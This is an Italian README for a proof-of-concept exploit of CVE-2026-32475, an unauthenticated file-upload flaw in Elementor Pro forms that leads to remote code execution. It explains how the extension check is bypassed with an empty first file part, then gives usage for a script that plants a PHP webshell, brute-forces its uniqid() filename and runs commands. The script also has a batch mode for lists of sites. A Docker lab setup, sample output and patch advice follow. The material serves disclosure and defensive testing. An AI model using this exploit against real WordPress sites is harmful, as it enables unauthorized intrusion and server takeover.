
Proof-of-concept exploit per CVE-2026-32475, un upload arbitrario di file non autenticato in Elementor Pro che porta all'esecuzione remota di codice. Include scoperta automatizzata, upload ed esecuzione di comandi con pulizia.
PoC per CVE-2026-32475 (CVSS 9.0 Critico, CWE-434): un upload arbitrario di file non autenticato nel modulo Forms di Elementor Pro che porta all'esecuzione remota di codice. Corretto in Elementor Pro 4.2.2 (2026-08-19). Segnalato da Tin Pham (TF1T) tramite il programma Bug Bounty di Patchstack.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
Questa proof of concept è fornita esclusivamente per ricerca sulla sicurezza autorizzata, formazione e test difensivi.
Il campo File Upload dei moduli di Elementor Pro elabora le voci caricate in due cicli separati con semantiche diverse (modules/forms/fields/upload.php):
// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- interrompe l'INTERO metodo
}
// is_file_type_valid() ... // mai raggiunto per la voce #2
}
// process_field()
foreach ( $files[$id] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- salta solo QUESTA voce
}
$filename = uniqid() . '.' . $file_extension; // estensione controllata dall'attaccante
move_uploaded_file( $file['tmp_name'], $new_file );
}
L'invio di due parti di file per lo stesso campo di upload — una prima parte vuota (filename="" → UPLOAD_ERR_NO_FILE) seguita dal payload .php — fa sì che validation() ritorni prima che la blocklist delle estensioni veda mai il payload, mentre process_field() lo sposta comunque in wp-content/uploads/elementor/forms/<uniqid()>.php, una directory web pubblica. Richiedere direttamente quell'URL = esecuzione remota di codice.
L'upload è gestito da POST /wp-admin/admin-ajax.php (action=elementor_pro_forms_send_form) con nessuna autenticazione e nessun nonce. Il post_id, form_id e il nome del campo di upload sono visibili nell'HTML della pagina pubblica, quindi l'intero attacco è non autenticato.
Target:
Attaccante:
Target singolo (scopre automaticamente la pagina del modulo tramite sitemap/homepage):
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
Pagina del modulo esplicita:
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
Modalità batch (sites.txt: un sito per riga — base_url o base_url page_url):
python script.py --list sites.txt --command "id" --cleanup --out results.json
Formato lista JSON:
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
Esegui un comando su una shell già caricata:
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
| Flag | Predefinito | Significato |
|---|---|---|
--url | - | URL base del target singolo |
--list | - | file di elenco per la modalità batch |
--page-url | --url | pagina che contiene il modulo |
--command | id; hostname; uname -a | comando da eseguire tramite la shell |
--cleanup | off | auto-eliminazione della webshell dopo il test |
--field k=v | - | sovrascrive un campo del modulo auto-compilato (ripetibile) |
--tail | 0.3 | secondi prima del tempo di upload stimato per la scansione fine |
--step-fine | 1 | passo in microsecondi della scansione fine |
--full-second | off | forza bruta sull'intero secondo di uniqid (contrasta lo skew dell'orologio) |
--attempts | 1 | tentativi di upload+scansione (nuovo nome file casuale ogni volta) |
--max-probes | 600000 | budget di richieste di scansione per tentativo |
--workers | 50 | thread paralleli di scansione |
--insecure | off | ignora gli errori TLS (target con certificati autofirmati) |
--out file.json | - | scrive il report come JSON |
post_id, form_id, il nome del campo di upload e ogni altro campo del modulo; auto-compila tutti i campi con valori plausibili così che i campi obbligatori superino la validazione (sovrascrivibile con --field).admin-ajax.php. Nota: success:false con un oggetto errors vuoto viene comunque trattato come caricato, perché l'azione Email predefinita genera un errore dopo lo spostamento del file quando wp_mail() fallisce. Solo un rifiuto del campo di upload stesso (file type is not allowed) conta come bloccato.uniqid() = 8 esadecimali di secondi + 5 esadecimali di microsecondi. I secondi provengono dall'header Date della risposta; la frazione di secondo è stimata da (t1 - date_epoch) % 1 (accurata quando gli orologi di attaccante e server sono vicini). Un prober keep-alive (~30x più veloce di una richiesta per connessione) esegue la scansione della finestra di spostamento con risoluzione in microsecondi; --full-second forza bruta sull'intero secondo quando gli orologi sono disallineati.GET <shell>?c=<command> esegue il comando; --cleanup elimina la shell tramite ?x=1.| Stato | Significato |
|---|---|
vulnerable | shell caricata e comando eseguito — applica la patch ora |
blocked | campo di upload rifiutato (patchato 4.2.2+, campo obbligatorio, WAF, captcha) |
uploaded_no_exec | file caricato ma nome file non recuperato (riprova con --full-second) |
no_form | nessun modulo vulnerabile trovato sul target |
error | errore di connessione/rete |
docker-compose.yml + setup_form_page.php riproducono il target vulnerabile:
docker compose up -d
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# posiziona il tuo elementor-pro.zip ottenuto legalmente (<= 4.2.1) nella directory del progetto, poi:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
[+] Shell individuata (tentativo 1, fase=tail fine): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Esecuzione comando: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Pulizia (eliminazione webshell)...
rm
Aggiorna Elementor Pro alla versione 4.2.2+. L'aggiornamento chiude la falla ma non rimuove le shell già caricate — controlla wp-content/uploads/elementor/forms/ per eventuali file .php estranei.
Solo per ricerca sulla sicurezza autorizzata e uso in laboratorio.